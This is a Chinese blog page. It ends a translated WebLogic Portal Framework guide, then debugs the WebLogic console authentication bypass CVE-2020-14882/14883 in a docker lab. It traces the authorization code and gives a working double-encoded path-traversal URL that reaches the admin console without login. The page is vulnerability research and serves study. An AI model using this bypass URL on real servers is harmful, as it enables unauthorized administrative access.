<p>Presentation Context可以通过JSP文件进行操作,presentation context的引用也可以通过两种方式获取到</p>
<ul>
<li>第一种方法是使用context类的静态方法<code>getXXXPresentationContext</code>来获取对应类型的active presentation context,也就是说如果我从portlet A的content JSP中调用这个方法,那么返回的presentation context类型就是portlet A而不会是portlet B,相似地,如果我从portlet A中调用<code>getPagePresentationContext(request)</code>,我将会获得portlet A所在page的page presentation context</li>
<li>第二种方法就是通过另一个context来获取presentation context,当你需要的并不是active context时,这个方法会很有用,比如我想从portlet A中获取portlet B的presentation context</li>
</ul>
<h3>Backing Files</h3>
<p>Backing file就是一个实现了<code>com.bea.netuix.servlets.controls.content.backing.JspBacking</code>接口或者是继承了<code>com.bea.netuix.servlets.controls.content.backing.AbstractJspBacking</code>抽象类的Java类(按理来说他不应该叫做Backing File而应该叫做backing class),接口上的方法模仿了control生命周期方法并且调用的时间点和control的生命周期方法是一致的</p>
<p>编写此文档时支持backing file的control一共只有下面这几个:</p>
<ul>
<li>Books</li>
<li>Pages</li>
<li>Portlets</li>
<li>JspContent controls</li>
</ul>
<p><strong>注意:</strong>在service pack 3中Desktop同样也支持backing files</p>
<p>每一次请求都会新建一个backing file的实例,因此你不必担心线程安全问题,新的Java VM针对短期对象进行了优化,并且已经不存在过去的性能问题,JspContent control也同样支持一个特殊类型的backing file,该backing file允许你指定该backing file是否是线程安全的,如果值被设为true,那么所有的请求将会共用一个backing file实例</p>
<h3>Skeletons</h3>
<p>Skeletons指的是在渲染阶段被使用的JSP,渲染阶段被分为两部分:开始渲染和结束渲染,父control的开始渲染先被调用,然后是子control的开始渲染被调用,然后是孙子control的开始渲染,依此类推,在最后一个开始渲染被调用之后,开始调用结束渲染,然后调用该control的父control的结束渲染,依此类推,这种方式允许父control创建一个容器,比如HTML表格,由子control提供表格内容</p>
<p>每一个Skeleton都会被调用两次,在Skeleton中有特殊的标签的值只会在特定的渲染阶才为true</p>
<h3>Events</h3>
<p>一共有四种类型的event:</p>
<ul>
<li>Window Mode</li>
<li>Windw State</li>
<li>Page Change</li>
<li>Generic Portlet Event</li>
</ul>
<p>上面四个事件都不会直接暴露给开发者,但是可以通过配置以使用特殊的方法在Window backing file中调用,具体来说就是<code>`setupModeChangeEvent</code>、<code>setupStateChangeEvent</code>和 <code>setupPageChangeEvent</code>这三个方法,这些方法一定会在<code>preRender</code>方法被调用前调用,因为事件会在<code>handlePostbackData</code>方法之后被触发,并且它们只会在<code>handlePostbackData</code>方法返回值为treu时才会被调用(参考相关javadoc)</p>
<p><strong>注意:</strong>当调用任何一个<code>setupxxevent</code>之前,<code>handlePostbackData</code>都必须在backing file所绑定的backing context中完成,不然事件不会被触发</p>
<p>Portlet事件(不要和page flow事件混淆)允许不同portlet之间进行通信,一个portlet可以创建一个事件,然后另一个portlet对该事件进行监听,并且这些事件可以传递参数</p>
<p>下面是一个例子,一个portlet从backing file中触发事件,另一个portlet监听该事件</p>
<div class="highlight"><pre><span></span><code><span class="cm">/**</span>
<span class="cm"> * This is the implementation on the backing file of the portlet that wants to fire the event.</span>
<span class="cm"> */</span>
<span class="kd">public</span><span class="w"> </span><span class="kt">boolean</span><span class="w"> </span><span class="nf">handlePostbackData</span><span class="p">(</span><span class="n">HttpServletRequest</span><span class="w"> </span><span class="n">request</span><span class="p">,</span><span class="w"> </span><span class="n">HttpServletResponse</span><span class="w"> </span><span class="n">response</span><span class="p">)</span>
<span class="p">{</span>
<span class="w"> </span><span class="c1">// Create a new portlet event with the results in the paylod</span>
<span class="w"> </span><span class="n">PortletEvent</span><span class="w"> </span><span class="n">portletEvent</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="k">new</span><span class="w"> </span><span class="n">PortletEvent</span><span class="p">(</span><span class="k">new</span><span class="w"> </span><span class="n">MyPayload</span><span class="p">(</span><span class="s">"Hello From portlet A"</span><span class="p">));</span>
<span class="w"> </span><span class="c1">// Get a hold of the portlet event manager and fire the event.</span>
<span class="w"> </span><span class="n">PortletBackingContext</span><span class="w"> </span><span class="n">portletBackingContext</span><span class="w"> </span><span class="o">=</span><span class="w"> </span>
<span class="w"> </span><span class="n">PortletBackingContext</span><span class="p">.</span><span class="na">getPortletBackingContext</span><span class="p">(</span><span class="n">request</span><span class="p">);</span>
<span class="w"> </span><span class="n">PortletEvent</span><span class="p">.</span><span class="na">Manager</span><span class="w"> </span><span class="n">portletEventManager</span><span class="w"> </span><span class="o">=</span><span class="w"> </span>
<span class="w"> </span><span class="n">PortletEvent</span><span class="p">.</span><span class="na">getEventManager</span><span class="p">(</span><span class="k">this</span><span class="p">,</span><span class="w"> </span><span class="n">portletBackingContext</span><span class="p">);</span>
<span class="w"> </span><span class="n">portletEventManager</span><span class="p">.</span><span class="na">fireEvent</span><span class="p">(</span><span class="n">portletEvent</span><span class="p">);</span>
<span class="w"> </span><span class="c1">// Needed for the event to fire.</span>
<span class="w"> </span><span class="k">return</span><span class="w"> </span><span class="kc">true</span><span class="p">;</span>
<span class="p">}</span>
<span class="cm">/**</span>
<span class="cm"> * This is the implementation of the portlet that wants to receive the event.</span>
<span class="cm"> */</span>
<span class="kd">public</span><span class="w"> </span><span class="kd">class</span> <span class="nc">ResultBacking</span><span class="w"> </span><span class="kd">extends</span><span class="w"> </span><span class="n">AbstractJspBacking</span><span class="w"> </span><span class="kd">implements</span><span class="w"> </span><span class="n">PortletEventListener</span>
<span class="p">{</span>
<span class="w"> </span><span class="n">MyPayload</span><span class="w"> </span><span class="n">result</span><span class="p">;</span>
<span class="w"> </span><span class="kd">public</span><span class="w"> </span><span class="kt">void</span><span class="w"> </span><span class="nf">init</span><span class="p">(</span><span class="n">HttpServletRequest</span><span class="w"> </span><span class="n">request</span><span class="p">,</span><span class="w"> </span><span class="n">HttpServletResponse</span><span class="w"> </span><span class="n">response</span><span class="p">)</span>
<span class="w"> </span><span class="p">{</span>
<span class="w"> </span><span class="n">result</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="kc">null</span><span class="p">;</span>
<span class="w"> </span><span class="c1">// Register for Portlet Events</span>
<span class="w"> </span><span class="n">PortletBackingContext</span><span class="w"> </span><span class="n">portletBackingContext</span><span class="w"> </span><span class="o">=</span>
<span class="w"> </span><span class="n">PortletBackingContext</span><span class="p">.</span><span class="na">getPortletBackingContext</span><span class="p">(</span><span class="n">request</span><span class="p">);</span>
<span class="w"> </span><span class="n">PortletEvent</span><span class="p">.</span><span class="na">addGlobalListener</span><span class="p">(</span><span class="n">portletBackingContext</span><span class="p">,</span><span class="w"> </span><span class="k">this</span><span class="p">);</span>
<span class="w"> </span><span class="n">CustomPortletEvent</span><span class="p">.</span><span class="na">Manager</span><span class="w"> </span><span class="n">portletEventManager</span><span class="w"> </span><span class="o">=</span><span class="w"> </span>
<span class="w"> </span><span class="n">CustomPortletEvent</span><span class="p">.</span><span class="na">getEventManager</span><span class="p">(</span><span class="k">this</span><span class="p">,</span><span class="w"> </span><span class="n">portletBackingContext</span><span class="p">);</span>
<span class="w"> </span><span class="p">}</span>
<span class="w"> </span><span class="kd">public</span><span class="w"> </span><span class="kt">void</span><span class="w"> </span><span class="nf">handleEvent</span><span class="p">(</span><span class="n">Object</span><span class="w"> </span><span class="n">source</span><span class="p">,</span><span class="w"> </span><span class="n">AbstractEvent</span><span class="w"> </span><span class="n">event</span><span class="p">)</span>
<span class="w"> </span><span class="p">{</span>
<span class="w"> </span><span class="c1">// Can check the source of the event</span>
<span class="w"> </span><span class="k">if</span><span class="w"> </span><span class="p">(</span><span class="n">source</span><span class="w"> </span><span class="k">instanceof</span><span class="w"> </span><span class="n">PortletA</span><span class="p">)</span>
<span class="w"> </span><span class="p">{</span>
<span class="w"> </span><span class="n">result</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="p">(</span><span class="n">MyPayload</span><span class="p">)((</span><span class="n">PortletEvent</span><span class="p">)</span><span class="n">event</span><span class="p">).</span><span class="na">getPayload</span><span class="p">();</span>
<span class="w"> </span><span class="p">}</span>
<span class="p">}</span>
</code></pre></div>
<h1>后记</h1>
<p>源文档中间有一部分关于<strong>创建自定义Layout</strong>的章节与翻译本文档的初衷无关,因此上面并未对其进行翻译,若发现翻译错误或不当的地方还望指出</p>weblogic CVE-2020-14882~14883漏洞分析2020-11-27T00:00:00+01:002020-11-27T00:00:00+01:0012138tag:None,2020-11-27:weblogic-cve-2020-1488214883lou-dong-fen-xi.html<h1>前言</h1>
<p>前段时间weblogic出了RCE,复现之 后想调试看看漏洞产生的原因,就有了这篇文章,另外为了能够理解这篇分析文章的内容,需要具 …</p><h1>前言</h1>
<p>前段时间weblogic出了RCE,复现之 后想调试看看漏洞产生的原因,就有了这篇文章,另外为了能够理解这篇分析文章的内容,需要具备一些预备知识,可以参考<a href="http://144.34.164.217/weblogic-portal-frameworkwen-dang.html">Weblogic Portak Framework文档</a></p>
<p>参考链接:</p>
<ul>
<li><a href="https://www.cnblogs.com/ph4nt0mer/p/11772709.html">https://www.cnblogs.com/ph4nt0mer/p/11772709.html</a></li>
<li><a href="https://blog.csdn.net/fly__me/article/details/80884335">https://blog.csdn.net/fly__me/article/details/80884335</a></li>
<li><a href="https://www.anquanke.com/post/id/224059">https://www.anquanke.com/post/id/224059</a></li>
<li><a href="https://lucifaer.com/2020/11/25/WebLogic%20one%20GET%20request%20RCE%E5%88%86%E6%9E%90%EF%BC%88CVE-2020-14882+CVE-2020-14883%EF%BC%89/">WebLogic one GET request RCE分析(CVE-2020-14882+CVE-2020-14883)</a></li>
<li><a href="https://docs.oracle.com/cd/E13218_01/wlp/docs81/whitepapers/netix/body.html">https://docs.oracle.com/cd/E13218_01/wlp/docs81/whitepapers/netix/body.html</a></li>
</ul>
<h1>环境准备</h1>
<h2>搭建漏洞环境</h2>
<p><a href="http://144.34.164.217/cve-2020-1488214883weblogic-rce.html#qqqHuanJingZhunBei">漏洞环境的搭建</a></p>
<p>另外为了远程调试weblogic,我们还需要映射其8453端口</p>
<div class="highlight"><pre><span></span><code>version: '2'
services:
weblogic:
image: vulhub/weblogic:12.2.1.3-2018
ports:
- "7001:7001"
- "8453:8453"
</code></pre></div>
<h2>配置weblogic远程调试模式</h2>
<p>容器和宿主机之间复制文件的方法:</p>
<div class="highlight"><pre><span></span><code>docker<span class="w"> </span>cp<span class="w"> </span>host_path<span class="w"> </span>containerID:container_path
docker<span class="w"> </span>cp<span class="w"> </span>containerID:container_path<span class="w"> </span>host_path
</code></pre></div>
<p>使用上面的命令将docker容器中的<code>/u01/oracle/user_projects/domains/base_domain/bin/setDomainEnv.sh</code>文件复制到宿主机进行编辑:</p>
<p>注释第138行和141行,中间缩进并新增两行:</p>
<div class="highlight"><pre><span></span><code><span class="nv">debugFlag</span><span class="o">=</span><span class="nb">true</span>
<span class="nb">export</span><span class="w"> </span>debugFlag
</code></pre></div>
<p><img alt="1606415404139" src="https://raw.githubusercontent.com/wqreytuk/img_repo/main/QvPsZTGZyB.jpg"></p>
<p>如果嫌上面的操作麻烦的话,可以直接将<a href="https://gitee.com/wochinijiamile/suiyi/blob/masterwersf/setDomainEnv.sh">此内容</a>复制到<code>setDomainEnv.sh</code>文件中,编辑完成后,再拷贝回docker容器中</p>
<p>然后执行<code>docker restart CONTAINER ID</code>,weblogic重启之后就会在8453端口开启监听模式</p>
<p>进入docker容器,将<code>/u01/oracle/wlserver</code>目录打包(<code>tar -zcvf /tmp/123.tar.gz /u01/oracle/wlserver</code>),并将该目录下的所有<code>jar</code>文件一并拷贝至docker容器的<code>/tmp/libs</code>目录,<code>find ./ -name *.jar -exec cp {} /tmp/libs/ \;</code>,之后打包拷贝至宿主机</p>
<p>另外还需要把weblogic自带的JDK目录<code>/usr/java/jdk1.8.0_151</code>拷贝出来,拷贝方法同上</p>
<p>weblogic自带的JDK目录位置可以在<code>setDomainEnv.sh</code>文件中找到:</p>
<p><img alt="1606412341845" src="https://raw.githubusercontent.com/wqreytuk/img_repo/main/XMYDpoOBvF.jpg"></p>
<h2>在IDEA中配置项目JDK和依赖库</h2>
<p>IDEA打开上面复制出来的<code>wlserver</code>目录,然后配置项目的库</p>
<p><img alt="1606410407598" src="https://raw.githubusercontent.com/wqreytuk/img_repo/main/EuBldwuQOg.jpg"></p>
<p>配置JDK</p>
<p><img alt="1606411648366" src="https://raw.githubusercontent.com/wqreytuk/img_repo/main/kaNUbQYBNl.jpg"></p>
<h2>配置远程调试</h2>
<p><img alt="1606411852143" src="https://raw.githubusercontent.com/wqreytuk/img_repo/main/nJFgiMGhBT.jpg"></p>
<p><img alt="1606412424242" src="https://raw.githubusercontent.com/wqreytuk/img_repo/main/AQYGPZSeJe.jpg"></p>
<p>直接开始调试,如果控制台输出如下信息,则说明配置成功</p>
<p><img alt="1606413528058" src="https://raw.githubusercontent.com/wqreytuk/img_repo/main/wjboshtwuI.jpg"></p>
<h1>漏洞分析</h1>
<h2>定位漏洞产生的位置</h2>
<p>看别人的文章,都是和oracle的官方补丁diff,找到不同的文件来定位漏洞位置,但是我下载不到官方补丁,我没有support账户,这个是要钱的</p>
<p><img alt="1606706039909" src="https://raw.githubusercontent.com/wqreytuk/img_repo/main/waxpAjfNzm.jpg"></p>
<p>所以只能看<a href="https://lucifaer.com/2020/11/25/WebLogic%20one%20GET%20request%20RCE%E5%88%86%E6%9E%90%EF%BC%88CVE-2020-14882+CVE-2020-14883%EF%BC%89/">别人的分析文章</a>,造个轮子了</p>
<p>diff(当然是别人diff的<strong>╮(╯_╰)╭)</strong>之后可以定位到问题是出在<code>wlserver\server\lib\consoleapp\webapp\WEB-INF\lib\console.jar!\com\bea\console\handles\HandleFactory.class</code>和<code>wlserver\server\lib\consoleapp\webapp\WEB-INF\lib\console.jar!\com\bea\console\utils\MBeanUtilsInitSingleFileServlet.class</code></p>
<p>如果在打开jar文件的时候双击没有反应,只需右键上级目录选中<code>Add as Library...</code>即可</p>
<p><img alt="1606750345349" src="https://raw.githubusercontent.com/wqreytuk/img_repo/main/KAlhRWIJVL.jpg"></p>
<h2>后台界面代码执行流程</h2>
<p>既然是绕过后台认证,那我们就先看一下后台认证的整体流程</p>
<p>首先我们用<code>docker container logs 01f15a45c25c | findstr password</code>获取weblogic的后台管理密码,<code>01f15a45c25c</code>是我们的docker容器的<code>CONTAINER ID</code></p>
<p>得到密码后使用weblogic用户登录:</p>
<p><img alt="1606750800376" src="https://raw.githubusercontent.com/wqreytuk/img_repo/main/DVRuILYrLP.jpg"></p>
<p>可以看到我们后台界面实际上访问的是<code>/console/console.portal</code>,然后我们查看weblogic后台对应的webapp的web.xml(后台本身也算是一个webapp)</p>
<p>打开文件<code>wlserver\server\lib\consoleapp\webapp\WEB-INF\web.xml</code></p>
<p><img alt="1606751102369" src="https://raw.githubusercontent.com/wqreytuk/img_repo/main/pVloglfQai.jpg"></p>
<p>找到<code>AppManagerServlet</code></p>
<p><img alt="1606751143709" src="https://raw.githubusercontent.com/wqreytuk/img_repo/main/FzJTmjXdxE.jpg"></p>
<p>定位到类<code>weblogic.servlet.AsyncInitServlet</code>:<code>libs\com.oracle.weblogic.servlet.jar!\weblogic\servlet\AsyncInitServlet.class</code></p>
<p>我们先来调试一下这个类,看一下他大概做了什么事情</p>
<p>我们都知道像weblogic、tomcat这样的中间件,都有一个叫做servlet的东西,其实就是一个类,一般情况下servlet在web容器启动的时候初始化,或者被调用的时候初始化</p>
<p><strong>我们先在<code>AsyncInitServlet</code>类的<code>init</code>方法下断点,IDEA开始调试,然后登录后台,但是并没有触发断点,据此可以判断这个servlet是在容器启动的时候初始化的,执行<code>docker restart 01f15a45c25c</code>重启容器,然后IDEA开启调试,这时候再去访问后台,可以看到断点被触发</strong>:</p>
<p><img alt="1606753297741" src="https://raw.githubusercontent.com/wqreytuk/img_repo/main/viKfvVuKrV.jpg"></p>
<p>跟进之后我们可以总结出来这个类中的方法的执行流程:</p>
<p><code>init()-->initDelegate()-->createDelegate()</code></p>
<p>在方法<code>createDelegate</code>中有如下代码</p>
<p><img alt="1606753610111" src="https://raw.githubusercontent.com/wqreytuk/img_repo/main/LHkAeijIeB.jpg"></p>
<p>根据web.xml中的内容:</p>
<p><img alt="1606753685736" src="https://raw.githubusercontent.com/wqreytuk/img_repo/main/UXyvzqIZyE.jpg"></p>
<p>我们可以知道最终使用<code>Class.forName</code>实例化了<code>com.bea.console.utils.MBeanUtilsInitSingleFileServlet</code>类</p>
<p>取消之前的断点,我们再在<code>AsyncInitServlet</code>类的<code>service</code>方法处下断点,然后开启调试,直接访问后台触发断点</p>
<p><img alt="1606754781760" src="https://raw.githubusercontent.com/wqreytuk/img_repo/main/LkocALoieh.jpg"></p>
<p>这里的<code>this.delegate</code>其实就是刚才实例化的<code>com.bea.console.utils.MBeanUtilsInitSingleFileServlet</code>类,继续跟入</p>
<p><img alt="1606754852944" src="https://raw.githubusercontent.com/wqreytuk/img_repo/main/NlVGUArJdE.jpg"></p>
<p>继续跟入父类<code>SingleFileServlet</code>的service方法:</p>
<p><img alt="1606754909188" src="https://raw.githubusercontent.com/wqreytuk/img_repo/main/wGJDvEtMAG.jpg"></p>
<p>再跟入<code>SingleFileServlet</code>的父类<code>UIServlet</code>的service方法</p>
<p><img alt="1606754976125" src="https://raw.githubusercontent.com/wqreytuk/img_repo/main/umDVyrpNxN.jpg"></p>
<p>最终定位到<code>UIServlet</code>的<code>doPost</code>方法:</p>
<p><img alt="1606755074766" src="https://raw.githubusercontent.com/wqreytuk/img_repo/main/nkktZXcvXx.jpg"></p>
<h2>定位鉴权代码</h2>
<p>因为漏洞是登录认证绕过,所以我们要找到鉴权的代码来分析漏洞成因</p>
<p>从调用栈中找到鉴权的代码(<code>doSecuredExecute</code>方法):</p>
<p><img alt="1606755163340" src="https://raw.githubusercontent.com/wqreytuk/img_repo/main/GhCkwOgyWA.jpg"></p>
<p>权限鉴定的代码位于<code>libs\com.oracle.weblogic.servlet.jar!\weblogic\servlet\internal\WebAppServletContext.class</code>的<code>doSecuredExecute</code>方法</p>
<p>删除之前的断点,在该方法下断点,登陆后台触发断点:</p>
<p><img alt="1606755581115" src="https://raw.githubusercontent.com/wqreytuk/img_repo/main/BQaPAoIGOm.jpg"></p>
<p><strong>跟进<code>checkAccess</code>方法,但是我这里调试的时候直接抛出了异常,而且不知道<code>var7</code>变量的值,毕竟是反编译过来的,有些地方确实调试不到</strong></p>
<p><img alt="1606756784992" src="https://raw.githubusercontent.com/wqreytuk/img_repo/main/irWJoZfEIe.jpg"></p>
<p>我们仔细看try里面的语句可以看到它调用了另一个<code>checkAccess</code>方法,也是这个类的,只是重载了,参数个数不同,我们这回直接在这一个<code>checkAccess</code>方法中下断点,然后登陆后台触发断点:</p>
<p><img alt="1606757065541" src="https://raw.githubusercontent.com/wqreytuk/img_repo/main/XyEJhCApyl.jpg"></p>
<p>第491行,检测<code>checkAllResources</code>变量的值,从之前的<code>checkAccess</code>方法的调用语句可以知道传进来的参数值是<code>false</code>,所以进入<code>getConstraint</code>方法</p>
<p><img alt="1606757411596" src="https://raw.githubusercontent.com/wqreytuk/img_repo/main/ZRBhyFYsBH.jpg"></p>
<p>这里我们注意一下<code>constraintsMap</code>变量的值:</p>
<p><img alt="1606757446341" src="https://raw.githubusercontent.com/wqreytuk/img_repo/main/LVjUiCGhBV.jpg"></p>
<p>这个map里的键值对和<code>web.xml</code>中的<code>security-constraint</code>节点是对应的</p>
<p><img alt="1606757585278" src="https://raw.githubusercontent.com/wqreytuk/img_repo/main/XPbxoItefi.jpg"></p>
<p>上图中的资源都是不需要认证即可访问到的</p>
<p><strong>如果我们访问的是除上面之外的url,得到的<code>resourceConstraint</code>变量的<code>unrestricted</code>就是false</strong></p>
<p><img alt="1606757923569" src="https://raw.githubusercontent.com/wqreytuk/img_repo/main/xaeALdSjjJ.jpg"></p>
<p>下面我们访问weblogic控制台的的图标<code>http://127.0.0.1:7001/console/framework/skins/wlsconsole/images/OracleLogo.png</code>来触发断点</p>
<p><img alt="1606758248973" src="https://raw.githubusercontent.com/wqreytuk/img_repo/main/bQTxRqKIeP.jpg"></p>
<p>跟入<code>isAuthorized</code>方法</p>
<p><img alt="1606758399889" src="https://raw.githubusercontent.com/wqreytuk/img_repo/main/ZoMretdbkn.jpg"></p>
<p>跟入<code>checkAccess</code>方法</p>
<p><img alt="1606758536385" src="https://raw.githubusercontent.com/wqreytuk/img_repo/main/nDxxIhXiYq.jpg"></p>
<p>跟入<code>checkUserPerm</code>方法</p>
<p><img alt="1606758610688" src="https://raw.githubusercontent.com/wqreytuk/img_repo/main/bgLNjjhVwy.jpg"></p>
<p>该方法的48~60行用于检测用户是否需要重新登陆(session是否过期)</p>
<p>跟入<code>hasPermission</code>方法</p>
<p><img alt="1606758842761" src="https://raw.githubusercontent.com/wqreytuk/img_repo/main/DVLLdCqQka.jpg"></p>
<p>这里的<code>cons.isUnrestricted()</code>为<code>true</code>保证了该方法最终返回<code>true</code></p>
<p><img alt="1606758972304" src="https://raw.githubusercontent.com/wqreytuk/img_repo/main/pCvnhSInet.jpg"></p>
<h2>构造url进入UIServlet#doPost</h2>
<p>根据上面的路由,将请求的url改成<code>http://192.168.60.227:7001/console/css/asd.portal</code>,可以确保进入该if分支</p>
<p><img alt="1606816440480" src="https://raw.githubusercontent.com/wqreytuk/img_repo/main/KmDBTgKebl.jpg"></p>
<p>只要我们的url中符合map中的任意一个url模式,就可以使得<code>rcForAllMethods</code>变量的<code>unrestricted</code>变量值为<code>true</code></p>
<p><img alt="1606818107215" src="https://raw.githubusercontent.com/wqreytuk/img_repo/main/aAwBvtXPDc.jpg"></p>
<p>大家不妨自己尝试一下,如果把请求的改成其他的,比如:<code>http://192.168.60.227:7001/console/wtf/asd.portal</code>,就不会进入该if分支,但是我们想要进入到<code>UIServlet#doPost</code>就必须进入该分支,而我们又没有weblogic的后台管理密码,<strong>因此我们需要考虑一下如何构造请求的URL来同时达到进入该if分支并加载正确的servlet</strong></p>
<p>进入if分之后,跟到下面这行代码,然后跟入<code>getServletStub</code>方法</p>
<p><img alt="1606819948865" src="https://raw.githubusercontent.com/wqreytuk/img_repo/main/nekvsbbBNN.jpg"></p>
<p><img alt="1606820599694" src="https://raw.githubusercontent.com/wqreytuk/img_repo/main/xcbvkXjiSm.jpg"></p>
<p><img alt="1606820631594" src="https://raw.githubusercontent.com/wqreytuk/img_repo/main/jRsOEMavjy.jpg"></p>
<p>可以看到sstub的值取决于xml中的配置,因为我们请求的url中包含<code>*.portal</code>这个模式,所以就交给了<code>weblogic.servlet.AsyncInitServlet</code>处理</p>
<p>因此我们现在的url:<code>http://192.168.60.227:7001/console/css/asd.portal</code>就可以最终到达<code>UIServlet#doPost</code>,同时参照web.xml文件,<code>http://192.168.60.227:7001/console/images/123.portal</code></p>
<p>在初始化完嵌套类<code>WebAppServletContext.ServletInvocationAction</code>之后,跟入<code>Throwable e = (Throwable)subject.run(action)</code>,一路跟下去,到达<code>AuthenticatedSubject#doAs</code>方法,在该方法中,调用了action(初始化之后的<code>WebAppServletContext.ServletInvocationAction</code>对象)的run方法</p>
<p><img alt="1606823726256" src="https://raw.githubusercontent.com/wqreytuk/img_repo/main/paDxSEVyQd.jpg"></p>
<p>这个地方在调试的时候发现无法跟入,跟前面的情况是一样的,可能也是反编译的原因,我们只有手动去找一下<code>run</code>方法的实现代码</p>
<p>我们知道<code>action</code>变量其实就是<code>ServletInvocationAction</code>对象,那就找到这个类的代码<code>libs\com.oracle.weblogic.servlet.jar!\weblogic\servlet\internal\WebAppServletContext.class</code></p>
<p><img alt="1606877746421" src="https://raw.githubusercontent.com/wqreytuk/img_repo/main/hwkxvJMHHA.jpg"></p>
<p>可以看到实际的处理代码是<code>wrapRun</code>方法,最后在该方法中运行web.xml中对应的servlet,这里的<code>this.stub</code>就是<code>weblogic.servlet.AsyncInitServlet</code></p>
<p><img alt="1606878989927" src="https://raw.githubusercontent.com/wqreytuk/img_repo/main/kYpGssjIjd.jpg"></p>
<h2>分析UIServlet#doPost</h2>
<p>这部分属于<code>WebLogic Portal Framework</code>,相关文档:<a href="https://docs.oracle.com/cd/E13218_01/wlp/docs81/whitepapers/netix/body.html">White Paper: WebLogic Portal Framework</a></p>
<p>doPost中的两个关键调用如下:</p>
<p><img alt="1606928532540" src="https://raw.githubusercontent.com/wqreytuk/img_repo/main/nQzHakkrHu.jpg"></p>
<h3>createUIContext</h3>
<p><strong>个人理解该方法的作用就是根据请求的内容创建weblogic后台上下文环境</strong></p>
<p>从<code>createUIContext</code>跟入到<code>getTree</code>,再跟入到<code>processStream</code>,再跟入到<code>singleFileProcessor.getMergedControlFromFile</code>,再跟入到<code>getControlFactoryFromFile</code>,再跟入到<code>getControlFactoryFromFileWithoutCaching</code>,最后在webapp目录下找到我们请求的portal文件,将文件流和sax转换器传进去进行解析,返回结果</p>
<p><img alt="1606928123594" src="https://raw.githubusercontent.com/wqreytuk/img_repo/main/UInnKUDiFR.jpg"></p>
<p>如果在调试过程中发现上面提到的执行流程中有些方法未被调用,可以尝试重启docker容器,然后重新进行调试,因为上面提到的方法中有一部分只会在console第一次部署时被调用,可能是因为缓存的缘故导致后面再访问就不会再使用SAX解析器进行解析了</p>
<p>在上面的执行流程中导致目录穿越的代码位置为:<code>ibs\netuix_servlet.jar!\com\bea\netuix\servlets\manager\UIServletInternal.class</code></p>
<p><img alt="1606928747868" src="https://raw.githubusercontent.com/wqreytuk/img_repo/main/xUVTDCjHHG.jpg"></p>
<p><code>URLDecoder.decode</code>执行完成后,我们的url路径(<code>css/%2e%2e%2f</code>)被再次解码,最终变成<code>css/../consolejndi.portal</code>,导致目录穿越</p>
<p><img alt="1606928829835" src="https://raw.githubusercontent.com/wqreytuk/img_repo/main/WkfMcZLjVJ.jpg"></p>
<h3>runLifecycle</h3>
<p>该方法用于完成上面<code>createUIContext</code>解析后的模板的渲染工作</p>
<p>跟如该方法,继续跟入run方法</p>
<p><img alt="1606965958611" src="https://raw.githubusercontent.com/wqreytuk/img_repo/main/fRNKFFNCem.jpg"></p>
<p>在这里有一个if语句,我么可以看到if和else的差别仅在于<code>this.runInbound(context)</code>是否被执行</p>
<p><img alt="1606965984530" src="https://raw.githubusercontent.com/wqreytuk/img_repo/main/HtfqvLDhrB.jpg"></p>
<p>这里的if语句判断条件前者我们已经满足,后面的<code>context.isPostback()</code>我们是不满足的,这个其实就是在判断<code>UIContext</code>对象的<code>isPostback</code>成员是否为<code>true</code>,而这个成员变量是在 下面这个位置<code>libs\netuix_servlet.jar!\com\bea\netuix\nf\UIContext.class#setServletRequest</code>设置的</p>
<p><img alt="1606966303946" src="https://raw.githubusercontent.com/wqreytuk/img_repo/main/YcMctpfqtP.jpg"></p>
<p>我们只要在发包的时候满足上面的任意一个条件即可将<code>isPostback</code>的值变为true,下面我们将请求进行更改,然后跟进<code>this.runInbound(context)</code>看其是否对漏洞触发存在影响</p>
<p>更改后的请求为<code>http://127.0.0.1:7001/console/css/%252e%252e%252fconsolejndi.portal?_nfpb=true</code></p>
<p>跟进之后我们可以发现if分支比else分支多执行了一次<code>processLifecycles(i, types, root, context, walkerPool)</code>,且在<code>runOutbound</code>方法中<code>isPostback</code>依然会影响<code>types</code>变量的值</p>
<p><img alt="1606968696650" src="https://raw.githubusercontent.com/wqreytuk/img_repo/main/vyxMpZFQiA.jpg"></p>
<p><code>VistorType</code>数组的定义如下:</p>
<p><code>libs\netuix_servlet.jar!\com\bea\netuix\nf\Lifecycle.class</code></p>
<div class="highlight"><pre><span></span><code><span class="kd">static</span><span class="w"> </span><span class="p">{</span>
<span class="w"> </span><span class="n">inboundLifecycle</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="k">new</span><span class="w"> </span><span class="n">VisitorType</span><span class="o">[]</span><span class="p">{</span><span class="n">VisitorType</span><span class="p">.</span><span class="na">initVisitorType</span><span class="p">,</span><span class="w"> </span><span class="n">VisitorType</span><span class="p">.</span><span class="na">loadStateVisitorType</span><span class="p">,</span><span class="w"> </span><span class="n">VisitorType</span><span class="p">.</span><span class="na">loadVisitorType</span><span class="p">,</span><span class="w"> </span><span class="n">VisitorType</span><span class="p">.</span><span class="na">raiseEventsVisitorType</span><span class="p">};</span>
<span class="w"> </span><span class="n">outboundLifecycle</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="k">new</span><span class="w"> </span><span class="n">VisitorType</span><span class="o">[]</span><span class="p">{</span><span class="n">VisitorType</span><span class="p">.</span><span class="na">preRenderVisitorType</span><span class="p">,</span><span class="w"> </span><span class="n">VisitorType</span><span class="p">.</span><span class="na">saveStateVisitorType</span><span class="p">,</span><span class="w"> </span><span class="n">VisitorType</span><span class="p">.</span><span class="na">renderVisitorType</span><span class="p">};</span>
<span class="w"> </span><span class="n">outboundNewTreeLifecycle</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="k">new</span><span class="w"> </span><span class="n">VisitorType</span><span class="o">[]</span><span class="p">{</span><span class="n">VisitorType</span><span class="p">.</span><span class="na">initVisitorType</span><span class="p">,</span><span class="w"> </span><span class="n">VisitorType</span><span class="p">.</span><span class="na">loadVisitorType</span><span class="p">,</span><span class="w"> </span><span class="n">VisitorType</span><span class="p">.</span><span class="na">preRenderVisitorType</span><span class="p">,</span><span class="w"> </span><span class="n">VisitorType</span><span class="p">.</span><span class="na">saveStateVisitorType</span><span class="p">,</span><span class="w"> </span><span class="n">VisitorType</span><span class="p">.</span><span class="na">renderVisitorType</span><span class="p">};</span>
